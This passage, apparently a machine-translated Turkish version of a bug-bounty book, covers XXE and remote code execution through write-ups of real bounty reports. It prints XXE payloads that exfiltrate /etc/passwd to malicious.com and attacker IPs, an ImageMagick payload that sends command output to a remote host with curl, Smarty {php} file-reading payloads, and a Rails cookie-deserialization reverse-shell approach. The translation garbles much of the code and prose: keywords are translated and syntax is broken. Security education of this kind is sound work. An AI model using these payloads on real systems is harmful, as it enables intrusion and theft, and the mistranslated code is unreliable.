    <sorumluluk isteğe bağlı = "1" > Web'i vurun </responsibility>
    <website> & url; </ website>
  </ İş>
</ İşler>
```

Burada, devam ettiğimi ve bir Web Sitesi eklediğimi göreceksiniz!
(#PCDATA), HERHANGİ ekledim. Bu, Web sitesi etiketinin herhangi bir kombinasyonu içerebileceği anlamına gelir
ayrıştırılabilir veri. Ayrıştırıcıyı söyleyen SYSTEM niteliğindeki bir! ENTITY de tanımladım
website.txt dosyasının içeriğini almak için. İşler şimdi daha da netleşmeli.

Bunları bir araya getirmek, "website.txt" yerine, ne olacağını düşünüyorsunuz?
"/ etc / passwd" dahil mi? Tahmin edebileceğiniz gibi, XML'imiz ayrıştırılacak ve
Hassas sunucu dosyasının içeriği / etc / passwd içeriğimize dahil edilecektir. Fakat
XML'in yazarlarıyız, peki neden bunu yapalım?

Şey, bir XXE saldırısı, mağdur bir uygulamanın dahil edilmesini kötüye kullanabileceği zaman mümkün olur
bu tür dış varlıklar XML ayrıştırmalarında. Başka bir deyişle, uygulamanın bazı
XML beklentileri ancak ne aldıklarını doğrulamamaktadır ve bu yüzden ne aldığını ayrıştırır.
Örneğin, bir iş tahtası çalıştırdığımı ve kayıt olmanıza ve yüklemenize izin verdiğimi varsayalım.
XML üzerinden işler. Başvurum geliştirilirken DTD dosyamın size ve
gereksinimleri karşılayan bir dosya göndereceğinizi varsayalım. Tehlikenin tanınmaması
Bundan, herhangi bir onay almadan aldığım şeyi masumca ayrıştırmaya karar verdim. Ama olmak
korsan, göndermeye karar verdin:

```
<? xml version = "1.0" kodlama = "ISO-8859-1"?>
<! DOCTYPE foo [
  <! ELEMENT foo ANY>
  <! ENTITY xxe SYSTEM "dosyası: /// etc / passwd">
  ]
>
<foo> & xxe; </ foo>
```

Şimdi bildiğiniz gibi, çözümleyicim bunu alacak ve tanımlayan dahili bir DTD tanıyacaktır.
foo Belge Türü'nün kendisine ayrıştırılabilir verileri içerebileceğini ve
! / Etc / passwd dosyasını okumam gereken ENTITY xxe (dosyanın kullanımı: //
Belge ayrıştırıldığında ve / etc / passwd dosyasına giden tam dosya uri yolu) & xxe;
bu dosya içeriğine sahip öğeler. Sonra, onu tanımlayan geçerli XML ile bitirirsiniz.
Sunucu bilgilerimi basan <foo> etiketi. Ve bu arkadaşlar, XXE'nin bu kadar tehlikeli olmasının nedeni.

Fakat bekleyin, dahası var. Uygulama yanıt yazdırmadıysa, yalnızca ayrıştırılırsa
içeriğiniz. Yukarıdaki örneği kullanarak, içerik ayrıştırılır, ancak hiçbir zaman iade edilmez

Sayfa 116

bize. Peki, yerel bir dosya eklemek yerine, bir bağlantı kurmaya karar vermişseniz
Bunun gibi kötü niyetli sunucu:

```
<? xml version = "1.0" kodlama = "ISO-8859-1"?>
<! DOCTYPE foo [
  <! ELEMENT foo ANY>
  <! ENTITY% xxe SYSTEM "dosyası: /// etc / passwd">
  <! ENTITY callhome SYSTEM "www.malicious.com /?% Xxe;">
  ]
>
<foo> & callhome; </ foo>
```

Bunu açıklamadan önce,% 'nin yerine%' sini almış olabilirsiniz.
callhome URL'sinde,% xxe ;. Bunun nedeni, varlığın ne zaman kullanılması gerektiği
DTD tanımı içerisinde ve kurum içinde değerlendirildiğinde
XML belgesi. Şimdi, XML belgesi ayrıştırıldığında, callhome! ENTITY
/ etc / passwd dosyasının içeriğini okuyun ve www.malicous.com adresine uzaktan çağrı yapın.
dosya içeriğini URL parametresi olarak gönderme. O sunucuyu kontrol ettiğimizden, kontrol edebiliriz.
Günlüklerimiz ve yeterince / / etc / passwd içeriğine sahip olduğunuzdan emin olabilirsiniz. Web için oyun bitti
uygulama.

Peki, siteler bunları XXE açıklarına karşı nasıl korur? Ayrıştırmayı devre dışı bırakırlar
dış varlıklar

Örnekler

1. Google'a Erişimi Okuyun

Zorluk : Orta

URL : google.com/gadgets/directory?synd=toolbar

Rapor Bağlantısı : Blog'u Algıla ı

Rapor Tarihi : Nisan 2014

Ödemeli Ödül : 10.000 $

Tanım :

XML ve dış varlıklar hakkında ne bildiğimizi bilerek, bu güvenlik açığı aslında
oldukça yalındır. Google'ın Araç Çubuğu düğme galerisi geliştiricilerin tanımlamasına izin verdi
belirli meta verileri içeren XML dosyalarını yükleyerek kendi düğmeleri.

[1] https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers

Ancak, Detectify ekibine göre,! ENTITY ile bir XML dosyası yükleyerek
harici bir dosyaya atıfta bulunarak, Google dosyayı ayrıştırdı ve içeriği oluşturmaya devam etti.
Sonuç olarak, ekip, sunucuların içeriğini oluşturmak için XXE güvenlik açığını kullandı
/ etc / passwd dosyası. Oyun bitti.

Google'ın dahili dosyalarının ekran görüntüsünü algıla

çıkarımlar

Büyük Çocuklar bile savunmasız kalabilir. Bu rapor neredeyse 2 yaşında olmasına rağmen,
Hala büyük şirketlerin nasıl hatalar yapabildiğinin harika bir örneği. Gerekli olan
Bunu kaldırmak için XML, XML ayrıştırıcı kullanan sitelere kolayca yüklenebilir.
Ancak, bazen site yanıt vermez, bu nedenle diğerlerini denemeniz gerekir
Yukarıdaki OWASP kopya sayfasından girdi.

2. Word ile Facebook XXE

Zorluk : Zor

URL : facebook.com/careers

Sayfa 118

Rapor Bağlantısı : Güvenli Saldırı[2]

Rapor Tarihi : Nisan 2014

Ödemeli Ödül : 6.300

Tanım :

Bu XXE, içerdiği ilk örnekten biraz farklı ve daha zorlu
açıklamasında anlattığımız gibi uzaktan bir sunucu çağırıyor.

2013 yılının sonlarında, Facebook, Reginaldo Silva'nın yaşayabileceği bir XXE güvenlik açığı yattı.
potansiyel olarak, içerikten bu yana bir Uzaktan Kod Yürütme güvenlik açığı nedeniyle yükseltilmiş olabilir
/ etc / passwd dosyasından erişilebilir. Bu yaklaşık 30.000 $ ödedi.

Sonuç olarak, Mohamed Nisan 2014'te Facebook'u hacklemek için kendini zorladığında,
XXE'in kariyer sayfalarını bulana ve kullanıcıların izin vermesine izin veren bir olasılık olduğunu düşünüyorum.
XML içerebilen .docx dosyalarını yükleyin. Bu habersizler için, .docx dosya türü yalnızca
XML dosyaları için bir arşiv. Böylece Mohamed'e göre bir .docx dosyası oluşturdu ve açtı
içeriği çıkarmak için 7zip ile ve aşağıdaki yükü XML'den birine ekledi
Dosyalar:

```
<! DOCTYPE kökü [
<! ENTITY % dosya SİSTEMİ "dosya: /// etc / passwd" >
<! ENTITY % dtd SİSTEMİ "http://197.37.102.90/ext.dtd" >
% dtd ;
% gönder ;
]] >
```

Anlayacağınız gibi, mağdurun dış varlıkları etkinse, XML ayrıştırıcısı
& dtd; değerini değerlendirin http://197.37.102.90/ext.dtd adresine uzaktan arama yapan varlık. o
çağrı geri dönecekti:

```
<! ENTITY SYSTEM gönder 'http://197.37.102.90/?FACEBOOK-HACKED%26file;' > "
```

Yani, şimdi% dtd; harici ext.dtd dosyasına referans verir ve% gönderir; varlık
mevcut. Ardından, çözümleyici% göndermeyi ayrıştırır; Bu aslında bir uzaktan kumanda olurdu
http://197.37.102.90/%file; Dosya; başvuru aslında referans için
/ etc / passwd dosyasını, içeriğini http://197.37.102.90/%file dosyasına ekleme çabasıyla;
aramak.

Bunun sonucu olarak, Mohamed kullanarak arama ve içerik almak için yerel bir sunucu başlattı.
Python ve SimpleHTTPServer. İlk başta bir cevap alamadı ama bekledi
sonra bunu aldı:

[2] http://www.attack-secure.com/blog/hacked-facebook-word-document

Sayfa 119

Son giriş: Tue Tem 8 09:11:09 Konsolda
Mohamed: ~ mohaab007: sudo pitonu -m SimpleHTTPServer 80
Parola:
0.0.0.0 portu 80'de HTTP'ye hizmet veriyor ...
173.252.71.129 - [08 / Jul / 2014 09:21:10] "GET /ext.dtd HTTP / 1.0" 200 -
173.252.71.129 - [08 / Jul / 2014 09:21:11] "GET /ext.dtd HTTP / 1.0" 200 -
173.252.71.129 - [08 / Jul / 2014 09:21:11] kod 404, mesaj Dosya bulunamadı
173.252.71.129 - [08 / Jul / 2014 09:21:11] "GET / FACEBOOK-HACKED? HTTP / 1.0" 404

Bu, SimpleHTTPServer'ı çalıştırmak için verilen komutla başlar. Terminal porsiyonda oturur
sunucuya bir HTTP isteği gelene kadar Bu bir aldığında olur
/Ext.dtd GET isteği. Sonuçta, beklendiği gibi, daha sonra geri aramayı görüyoruz.
sunucu / FACEBOOK-HACKED? fakat ne yazık ki, / etc / passwd içeriği olmadan
dosya eklendi. Bu, Mohamed'in yerel dosyaları okuyamadığı veya / etc / passwd'nin okumadığı anlamına gelir
var olmak.

Devam etmeden önce işaretlemeliyim - Mohamed olmayan bir dosya gönderebilirdi
<! ENTITY% dtd SYSTEM "http://197.37.102.90/ext.dtd"> dahil, yalnızca
yerel dosyayı okumaya çalışın. Ancak, onun adımlarını izleyen değer ilk aramanın
Uzak DTD dosyası için, eğer başarılı olursa, bir XXE güvenlik açığı gösterecektir. Girişimi
/ etc / passwd dosyasını çıkartmak, XXE ürününü kötüye kullanmanın yalnızca bir yoludur. Yani, bu durumda, o beri
Facebook sunucusuna HTTP çağrılarını kaydetti, ayrıştırıldıklarını ispatlayabildi
uzak XML varlıkları ve bir güvenlik açığı vardı.

Ancak, Mohamed hatayı bildirdiğinde, Facebook bunun için bir kanıt isteğinde bulundu
Konsept videosu, sorunu tekrarlayamadıkları için. Bunu yaptıktan sonra Facebook
Daha sonra, işe alan kişinin bir linke tıkladığını bildiren başvuruyu reddetti.
Bu, sunucusuna istek başlattı. Facebook bazı e-postaları değiştirdikten sonra
Ekip, güvenlik açığının var olduğunu doğrulamak için daha fazla araştırma yapmış görünüyor ve
bir ödül aldı ve bu XXE'nin etkisinin daha az şiddetli olduğunu açıklayan bir e-posta gönderdi.
2013'teki başlangıçtan daha yüksek, çünkü 2013'teki istismar bir
Uzaktan Kod Yürütme işlemi devam ederken Mohamed'in hala geçerli bir kuruş olmasına rağmen
istismar.

Sayfa 120

Facebook resmi cevap

çıkarımlar

Burada birkaç paket servis var. XML dosyaları farklı şekillerde ve boyutlarda gelir
- .docx, .xlsx, .pptx, vb. kabul eden sitelere dikkat edin.
şiddetle, bazen hemen XXE'den yanıt alamayacaksınız - bu
Örnek, ping'lenecek bir sunucuyu nasıl ayarlayabileceğinizi gösterir.
XXE.

Ek olarak, diğer örneklerde olduğu gibi, bazen raporlar başlangıçta reddedilir.
Sizinle çalışmanız için kendinize güvenmeniz ve bağlı kalmanız önemlidir.
neden rapor ederken, kararlarına saygı duyarak, bir şeyin nedenini açıklarken
bir güvenlik açığı olabilir.

3. Wikiloc XXE

Zorluk : Zor

URL : wikiloc.com

Rapor Bağlantısı : David Sopas Blog [3]

Rapor Tarihi : 2015

Ödemeli Ödül : Swag

Tanım :

Sitelerine göre, Wikiloc en iyi açık hava rotalarını keşfetmek ve paylaşmak için bir yerdir

yürüyüş, bisiklet ve diğer birçok aktivite. İlginç bir şekilde, kullanıcıların kendi
David gibi bisikletçi korsanları için oldukça cazip olduğu ortaya çıkan XML dosyaları aracılığıyla kendi izlerimiz
Sopas.

David, Wikiloc'a yazdığı kayıtlara dayanarak XML yüklemesini fark etti, karar verdi.
XXE güvenlik açığı için sınamak için. Başlamak için siteden bir dosya indirdi.
XML yapıları, bu durumda, bir .gpx dosyası ve enjekte edilmiş ** <! DOCTYPE foo [<! ENTITY xxe
SİSTEM “http://www.davidsopas.com/XXE”>]>;

Daha sonra, satır 13'teki .gpx dosyasındaki parça adından varlığı çağırdı:

```
1 <! DOCTYPE foo [<! ENTITY xxe SİSTEMİ "http://www.davidsopas.com/XXE"> ]>
2 <gpx
3     sürüm = "1.0"
4     creator = "GPSBabel - http://www.gpsbabel.org"
5     xmlns: xsi = "http://www.w3.org/2001/XMLSchema-instance"
6     xmlns = "http://www.topografix.com/GPX/1/0"
7     xsi: schemaLocation = "http://www.topografix.com/GPX/1/1 http: //www.topografix.com \
8 / GPX/ 1/1/ gpx.xsd " >
9 <time> 2015-10-29T12: 53: 09Z </time>
10 <sınırlar minlat = "40.734267000" minlon = "-8.265529000" maxlat = "40.881475000" maxlon \
11 = "- 8,037170000" />
12 <trk>
13     <name> & xxe; </ name>
14 <trkseg>
15 <trkpt lat = "40.737758000" lon = "-8.093361000" >
16     <ele> 178.000000 </ele>
17     <time> 2009-01-10T14: 18: 10Z </time>
18 (...)
```

Bu, sunucusuna yapılan bir GET isteği ile sonuçlandı, **GET 144.76.194.66 / XXE / 10/29/15
13:02 Java / 1.7.0_51** . Bu, iki nedenden ötürü, ilk önce basit bir kanıt kullanarak
Konsept çağrısında David, sunucunun enjekte edilen XML'ini değerlendirdiğini doğruladı ve
sunucu harici aramalar yapardı. İkincisi, David mevcut XML belgesini kullandı
Böylece içeriği sitenin beklediği yapıya sığacak. O tartışmazken

[3] www.davidsopas.com/wikiloc-xxe-vulnerability

Sayfa 122

o, / etc / passwd dosyasını okuyabilmişse sunucusunu arama ihtiyacı duyulmayabilir.
dosya ve içeriğini <name> öğesinde oluşturdu.

Wikiloc'un harici HTTP istekleri yapacağını onayladıktan sonra, diğer tek soru
Yerel dosyaları okuyacak olsaydı. Böylece, enjekte edilen XML'ini Wikiloc'un göndermesi için değiştirdi.
/ etc / passwd dosya içerikleri:

```
1 <! DOCTYPE kök etiketi [
2     <! ENTITY % dosya SİSTEMİ "dosya: /// etc / issue" >
3     <! ENTITY % dtd SİSTEMİ "http://www.davidsopas.com/poc/xxe.dtd" >
% 4 dtd ;] >
5 < gpx
6     sürüm = "1.0"
7     creator = "GPSBabel - http://www.gpsbabel.org"
```

```
 8      xmlns : xsi = "http://www.w3.org/2001/XMLSchema-instance"
 9      xmlns = "http://www.topografix.com/GPX/1/0"
10      xsi : schemaLocation = "http://www.topografix.com/GPX/1/1 http: //www.topografix.com \
11 / GPX/ 1/1/ gpx.xsd " >
12 < zaman > 2015-10-29 T12 : 53:09 Z </ zaman >
13 < minlat = = 40.734267000 " minlon = " -8.265529000 " maxlat = " 40.881475000 " maxlon \
14 = "-8.037170000" />
15 < trk >
16      < isim > & gönder; </ name >
17 (...)
```

Bu tanıdık gelmeli. Burada, değerlendirilecek olan iki varlığı kullandı.
DTD,% kullanarak tanımlanırlar. & Gönder; aslında <name> etiketinde
Wikiloc'a geri verdiği xxe.dtd dosyası tarafından tanımlanır. İşte bu dosya:

```
<? xml version = "1.0" encoding = "UTF-8" ?>
<! ENTITY % all "<! ENTITY SİSTEMİ gönder 'http://www.davidsopas.com/XXE?%file;'>" >
% hepsi ;
```

% Hepsine dikkat edin; Bu da aslında bizim dikkatimizi!
<name> etiketi. İşte değerlendirme süreci şöyle:

1. Wikiloc, XML'i ayrıştırır ve% dtd'yi değerlendirir; David sunucusuna harici bir çağrı olarak
2. David'in sunucusu xxe.dtd dosyasını Wikiloc'a döndürür
3. Wikiloc, aramayı% all öğesine tetikleyen alınan DTD dosyasını ayrıştırır.
4.% tümü değerlendirildiğinde, tanımlar ve gönderir; varlık% dosyasındaki bir çağrıyı içerir
5.% dosya; url değerinde / etc / passwd dosyasının içeriğiyle değiştirildi

6. Wikiloc, & gönder; olarak değerlendiren işletme
   / etc / passwd içeriğinde bir parametre olarak David sunucusuna uzaktan çağrı
   URL

Kendi sözleriyle, oyun bitti.

çıkarımlar

Belirtildiği gibi, bu, XML şablonlarını nasıl kullanabileceğinizi gösteren harika bir örnek.
kendi XML varlıklarınızı gömmek için bir dosya oluşturun, böylece dosya uygun şekilde ayrıştırılır
hedef. Bu durumda, Wikiloc bir .gpx dosyası bekliyordu ve David bunu sürdürdü
kendi XML varlıklarını beklenen etiketlerin içine, özellikle
<name> etiketi. Ayrıca, kötü amaçlı bir dtd dosyasına nasıl hizmet edildiğini görmek ilginç
daha sonra bir hedef için GET istekleri yapmak bir hedef olması için geri kaldıraç edilebilir
URL parametreleri olarak dosya içeriği ile sunucu.

özet

XXE, büyük potansiyeli olan ilginç bir saldırı vektörünü temsil ediyor. Birkaç yolu var.
Hassas bir uygulama almayı içerir baktığımızda, başarılabilir
/ etc / passwd dosyasını basmak, / etc / passwd dosyası ile uzak bir sunucuya çağırmak ve
ayrıştırıcıya bir sunucuya geri arama yapma talimatı veren uzak bir DTD dosyası için çağrı
/ etc / passwd dosyası.

Bir bilgisayar korsanı olarak, dosya yüklemelerine, özellikle de bir şekilde alanlara dikkat edin.
XML, bunlar her zaman XXE açıkları için test edilmelidir.

14. Uzaktan Kod Yürütme

Açıklama

Uzaktan Kod Yürütme, tarafından yorumlanan ve yürütülen
savunmasız bir uygulama. Bu, genellikle giriş yapan bir kullanıcı tarafından
uygulama herhangi bir sterilizasyon veya onaylama işlemi yapmadan kullanır.

Bu aşağıdaki gibi görünebilir:

```
$ var = $ _GET ['sayfa'];
eval ($ var);
```

Burada, savunmasız bir uygulama url kullanabilir **index.php? Page = 1** ancak, eğer
kullanıcı **index.php? page = 1** girer **; phpinfo ()** uygulama phpinfo () işlevini yürütür
işlevini yerine getirin ve içeriğini döndürün.

Benzer şekilde, Uzaktan Kod Yürütme bazen Komut Enjeksiyonuna atıfta bulunmak için kullanılır
OWASP farklılaştırır. OWASP'ye göre, Komuta Enjeksiyonu ile hassas bir
uygulama, ana bilgisayar işletim sisteminde rasgele komutlar yürütür. Yine, bu
Kullanıcıya yol açan kullanıcı girişini uygun şekilde dezenfekte ederek ya da onaylayarak mümkün kılma
işletim sistemi komutlarına giriş yapılmakta.

Örneğin, PHP'de bu, kullanıcı girişinin **sisteme** iletilmesi gibi görünebilir **().**

işlevi.

Örnekler

1. Polyvore ImageMagick

Zorluk : Yüksek

URL : Polyvore.com (Yahoo Edinimi)

Rapor Bağlantısı : http://nahamsec.com/exploiting-imagemagick-on-yahoo/ [1]

Rapor Tarihi : 5 May 2016

Ödemeli Ödül : 2000 Dolar

[1] http://nahamsec.com/exploiting-imagemagick-on-yahoo/

Tanım :

ImageMagick, kırpma gibi görüntüleri işlemek için yaygın olarak kullanılan bir yazılım paketidir.
ölçekleme, vb. PHP'nin imgesi, Ruby'nin rmagick'i ve ataç ve NodeJS'in imgesi
yararlanın ve Nisan 2016'da kütüphanede birden fazla güvenlik açığı bulunduğu,
bunlardan biri odaklanacağım uzak kodu çalıştırmak için saldırganlar tarafından kullanılabilir.

Özet olarak, ImageMagick, kendisine iletilen dosya adlarını ve
sonunda bir system () yöntemi çağrısını yürütmek için kullanılır. Sonuç olarak, bir saldırgan içeri girebilir
çalıştırılacak komutlar, **https://example.com "** gibi **" | ls "-la** çalıştırılacak.
ImageMagick'ten bir örnek şöyle görünür:

```
dönüştürmek 'https://example.com "| ls" -la' out.png
```

Şimdi, ilginç bir şekilde ImageMagick, Magick Vector Graphics (MVG) için kendi sözdizimini tanımlar.
Dosyalar. Böylece, bir saldırgan exploit.mvg dosyasını aşağıdaki kodla oluşturabilir:

```
grafik bağlamını it
görünüm kutusu 0 0 640 480
'url (https://example.com/image.jpg "| ls" -la)' doldurun
pop grafik bağlamı
```

Bu daha sonra kütüphaneye geçecekti ve eğer bir site savunmasız olsaydı, kod
dizindeki dosyaları listeleme.

Bu arkaplan ışığında, Ben Sadeghipour bir Yahoo satın alma sitesini test etti.
Polyvore, güvenlik açığı için. Blog yazısında belirtildiği gibi, Ben önce
mvg dosyasının çalıştığını doğrulamak için kontrol ettiği yerel bir makinedeki güvenlik açığı
uygun şekilde. İşte kullandığı kod:

```
grafik bağlamını it
görünüm kutusu 0 0 640 480
0,0 0,0 'üzerindeki resim https://127.0.0.1/x.php?x=`id | kıvırmak http: // SOMEIPADDRESS: 80 \
80 / -d @ -> / dev / null` '
```

Burada, SOMEIPADDRESS'e çağrı yapmak için cURL kütüphanesini kullandığını görebilirsiniz (değiştir)
Bu, sunucunuzun IP adresi ne olursa olsun). Eğer başarılı olursa, bir
aşağıdaki gibi cevap:

Sayfa 126

Ben Sadeghipour ImageMagick test sunucusu yanıtı

Sonra, Ben Polyvore'i ziyaret etti, dosyayı profil resmi olarak yükledi ve bunu aldı
sunucusunda yanıt:

Ben Sadeghipour Polyvore ImageMagick yanıtı

çıkarımlar

Okuma başarılı hacklemenin büyük bir parçasıdır ve okuma hakkında
yazılım açıkları ve Ortak Güvenlik Açıkları ve Etkilenmeler (CVE Iden-
tifiers). Geçmiş güvenlik açıklarını bilmek, karşılaştığınızda size yardımcı olabilir
güvenlik güncellemelerine uymayan siteler. Bu durumda, Yahoo yamalıydı
Sunucu ancak yanlış yapıldı (ne olduğunu bulamadım
demek). Sonuç olarak, ImageMagick güvenlik açığını bilmek Ben'e izin verdi
2000 dolarlık bir ödülle sonuçlanan bu yazılımı özellikle hedeflemek.

2. facebooksearch.algolia.com web sitesinde Algolia RCE

Zorluk : Yüksek

URL : facebooksearch.algolia.com

Rapor Bağlantısı : https://hackerone.com/reports/134321[2]

Rapor Tarihi : 25 Nisan 2016

Ödemeli Ödül : 500 Dolar

[2] https://hackerone.com/reports/134321

Sayfa 127

Tanım :

25 Nisan 2016'da HackerOne'un kurucusu Michiel Prins bazı keşifler yapıyordu.
Algolia.com'daki nadide çalışması, Algrob'un yaptığı fark edildiğinde Gitrob aracını kullanarak
halka açık bir depoya kendi secret_key_base'lerini açık bir şekilde taahhüt etti. Buna dahil olmak
kitabın bölümü açıkça Michiel'in uzaktan kod çalıştırma gerçekleştirdiği anlamına geliyor.
aşağı.

Birincisi Gitrob, GitHub API'sini kullanacak harika bir araçtır (Araçlar bölümünde bulunur).
kamuya açık depoları hassas dosyalar ve bilgiler için taramak. Bir tohum deposu alır
bir girdi olarak ve aslında yazarların katkı sağladığı tüm depoları örter.
ilk tohum deposu. Bu havuzlarla, hassas dosyaları temel alarak arama yapar.
gibi hassas dosya uzantıları da dahil olmak üzere şifre, sır, veritabanı vb. gibi anahtar kelimeler üzerinde
.Sql.

Öyleyse, Gitrob Angolia'nın facebook'ta secret_token.rb dosyasını işaretlemiş olacaktı.
gizli sözcüğü nedeniyle depoda arama yap. Şimdi, Ruby on Rails'e aşina iseniz,
bu dosya sizin için kırmızı bir bayrak açmalı, Rails'in saklandığı dosya secret_key_base,
Rails çerezlerini doğrulamak için kullandığı için asla halka açıklanmaması gereken bir değer.
Dosyaya bakıldığında, Angolia'nın bu değeri halka açıklamış olduğunu ortaya koydu.
depo (hala https://github.com/algolia/facebook-search/- adresindeki taahhüdü görebilirsiniz.
) / F3adccb5532898f8088f90eb57cf991e2d499b49 # fark-afe98573d9aad940bb0f531ea55734f8R12 taahhüt.
Bir kenara, ne yapılması gerektiğini merak ediyorsanız, bu bir ortamdı.
değeri değil bir konumdan okuyan ENV ['SECRET_KEY_BASE'] gibi bir ronment değişkeni
depoya adanmış.

Şimdi, secret_key_base'in önemli olmasının nedeni Rails'in onu kullanmasıdır.
çerezlerini doğrulamak için. Rails'deki bir oturum çerezi, / _MyApp_- gibi görünecek
oturumu = BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg% 3D% 3D-dc40a55cd52fe32bb3b8
(Bu değerleri sayfaya sığacak şekilde önemli ölçüde kırptım). Burada, önceki her şey -
bir base64 kodlanmış, serileştirilmiş nesne. -'Den sonraki parça bir HMAC imzasıdır.
Raylar, nesnenin geçerliliğini ilk yarıdan doğrulamak için kullanır. HMAC imzası
sırrı bir girdi olarak kullanarak yarattı. Sonuç olarak, eğer sırrını biliyorsanız, sahte olabilirsiniz.
kendi kurabiyelerin.

Bu noktada, serileştirilmiş nesneyi ve ortaya çıkardıkları tehlikeyi bilmiyorsanız,
kendi kurabiyelerini hazırlamak zararsız görünebilir. Ancak, Rails çerezi aldığında
ve imzasını doğrular, nesneye nesneyi çağıran yöntemleri seri hale getirir
seri hale getirilmiş. Bu nedenle, bu seriyi kaldırma süreci ve
Serileştirilmiş nesneler, saldırganın rasgele kod yürütmesine olanak sağlar.

Bunların hepsini Michiel'in bulmasına geri götürdü, sırrını bulduğundan beri, başardı.
base64 kodlu nesneler olarak depolanan kendi serileştirilmiş nesnelerini yarat, imzala ve ilet
çerezler aracılığıyla siteye onları. Site daha sonra kodunu uygulardı. Bunu yapmak için o
metasploit-framework, Rails Secret için Rapid7'den bir konsept aracı kanıtı kullandı
Deserialization. Araç, izin verilen ters bir kabuk içeren bir çerez oluşturur

Michiel keyfi komutlar vermeye başladı. Dolayısıyla, **kimliği = 1000 (eşya) olarak** döndüren **kimliği** çalıştırdı. **gid = 1000 (eşya) grubu = 1000 (eşya)** . Sevdiği için çok genel olsa da, o karar verdi
Bu güvenlik açığını kanıtlayan, sunucuda hackerone.txt dosyasını oluşturun.

çıkarımlar

Her zaman çene düşüyor ve heyecan verici olmasa da, uygun keşif yapmak
değerli olduğunu kanıtlayabilir. Burada, Michiel açık alanda oturan bir güvenlik açığı buldu
6 Nisan 2014'ten bu yana sadece halka açık Angolia'da Gitrob'u çalıştırarak
Facebook-Arama deposu. Siz çalışırken çalıştırılabilen ve çalıştırılabilen bir görev
incelemeye devam etmek için geri dönerek diğer hedefleri aramaya ve hacklemeye devam edin.
tamamlandıktan sonra bulgular.

3. Foobar Smarty Şablon Enjeksiyonu RCE

Zorluk : Orta

URL : n / a

Rapor Bağlantısı : https://hackerone.com/reports/164224[3]

Rapor Tarihi : 29 Ağustos 2016

Ödemeli Ödül : 400 Dolar

Tanım :

Bu, bugüne kadar en sevdiğim güvenlik açığı olmasına rağmen, özel bir programda bulunuyor, bu yüzden yapamam.
adını açıklar. Aynı zamanda düşük bir ödemedir ancak programın düşük ödeme aldığını biliyordum.
onlar üzerinde çalışmaya başladığımda bu beni rahatsız etmiyor.

29 Ağustos'ta Foobar diye adlandırdığımız yeni bir özel programa davet edildim. Yaparken
ilk keşifimde, sitenin ön uç için Angular kullandığını fark ettim.
Bu benim için genellikle kırmızı bir bayrak.
önceden güvenlik açıkları. Sonuç olarak, çeşitli sayfalarda yoluma gitmeye başladım.
ve sunulan siteyi, profilimden başlayarak, 49 için {{7 * 7}}
render olmak. Profil sayfasında başarılı olmasam da, davet etme özelliğini fark ettim.
arkadaşlarım siteye girerek işlevselliğini test etmeye karar verdim.

Formu gönderdikten sonra aşağıdaki e-postayı aldım:

[3] https://hackerone.com/reports/164224

Foobar Davetiye E-postası

Garip. E-postanın başlangıcı, 7 * 7 diyerek Smarty hatası veren bir yığın izi içeriyordu
tanınmadı. Bu hemen bir kırmızı bayraktı. Görünüşe göre {{7 * 7}}
kalıba enjekte ediliyor ve kalıbı değerlendirmeye çalışıyordu
7 * 7'yi tanır.

Şablon enjeksiyonları hakkındaki bilgimin çoğu, James Kettle'den (geliştirici
Burpsuite) bu yüzden bir konuyla ilgili makalesi için hızlı bir Google araması yaptım
Kullanılacak yük kapasitesi (aynı zamanda harika bir Blackhat sunumu var. İzlemenizi tavsiye ederim.).
YouTube'da). Smarty bölümüne göz attım ve içerdiği yükü denedim
{self :: getStreamVariable ("dosya: /// proc / self / loginuuid")} ve hiçbir şey. Çıktı yok.
İlginçtir, makaleyi tekrar okurken, James aslında geleceğim yükü içeriyordu
makalede daha önce de olsa kullanmak için. Görünüşe göre acelemde onu özledim. Muhtemelen için
Bu konuda çalışan öğrenme deneyimi verilen en iyi aslında bana sağladı.

Şimdi, bulduklarımın potansiyeli hakkında biraz şüpheci oldum, Smarty belgesine gittim.
James'in önerdiği gibi Bunu yapmak da dahil olmak üzere bazı ayrılmış değişkenleri ortaya çıkardı
{$ Smarty.version}. Bunu benim adım olarak eklemek ve e-postayı yeniden göndermek şöyle sonuçlandı:

Smarty Sürümü ile Foobar Davet E-postası

İsmimin şimdi 2.6.18 olduğuna dikkat edin - sitenin çalıştığı Smarty sürümü.
Şimdi bir yerlere geliyoruz. Belgeleri okumaya devam ederken,
keyfi PHP kodunu çalıştırmak için {php} {/ php} etiketlerini kullanabilme
Aslında James'in makalesinde). Bu umut verici görünüyordu.

Şimdi {php} yükünü “Merhaba” {/ php} adımı yazdırdım ve e-postayı gönderdim.
sonuçlandı:

PHP değerlendirme ile Foobar Davet E-postası

Gördüğünüz gibi, şimdi benim adım Merhaba. Son bir test olarak, ayıklamak istedim

/ etc / passwd dosyasını programa bunun potansiyelini göstermek için. Bu yüzden kullandım
yük, **{php} $ s = file_get_contents ('/ etc / passwd'); var_dump ($ s); {/ php}** . Bu olur
/ etc / passwd dosyasını açmak, okumak ve kapatmak için file_get_contents işlevini yürütün
değişkene atama, sonra değişken içeriğini ismim olarak atan
Smarty kodu değerlendirdi. E-postayı gönderdim ama adım boştu. Tuhaf.

PHP dokümantasyonundaki fonksiyon hakkında bir şeyler okudum ve bir parça almaya karar verdim
dosya adının uzunluğu için bir sınır olup olmadığını merak ederek. Bu benim yükümü dönüştürdü
{php} $ s = file_get_contents ('/ etc / passwd', NULL, NULL, 0,100); var_dump ($ s); {/ php} . Hayır-
NULL, NULL, 0,100, bu dosyadan ilk 100 karakteri alır.
Tüm içeriğin. Bu, aşağıdaki e-posta ile sonuçlandı:

Foobar Davetiyesi / etc / passwd içeriği ile e-posta

Başarı! Artık rasgele kod yürütebildim ve kavramın kanıtı olarak çıkart
Bir seferde tüm / etc / passwd dosyası 100 karakter. Raporumu ve
güvenlik açığı bir saat içinde giderildi.

çıkarımlar

Bu güvenlik açığı üzerinde çalışmak çok eğlenceliydi. İlk yığın izi kırmızıydı
Bir şeyin yanlış olduğunu ve içinde ayrıntılı olarak açıklanan diğer güvenlik açıklarını işaretleyin.
Kitap, dumanın olduğu yerde yangın var. James Kettle'ın blog yazısı yayınlanırken
Aslında kullanılacak kötü niyetli yükü de göz ardı ettim. Ancak, bu verdi
Bana Smarty'yi okuma alıştırmalarını öğrenme ve öğrenme fırsatı
dokümantasyon. Bunu yapmak, beni ayrılmış değişkenlere ve {php} etiketine yönlendirdi.
kendi kodumu çalıştır.

özet

Diğer güvenlik açıkları gibi Uzaktan Kod Yürütme, tipik olarak kullanıcı girişinin bir sonucudur
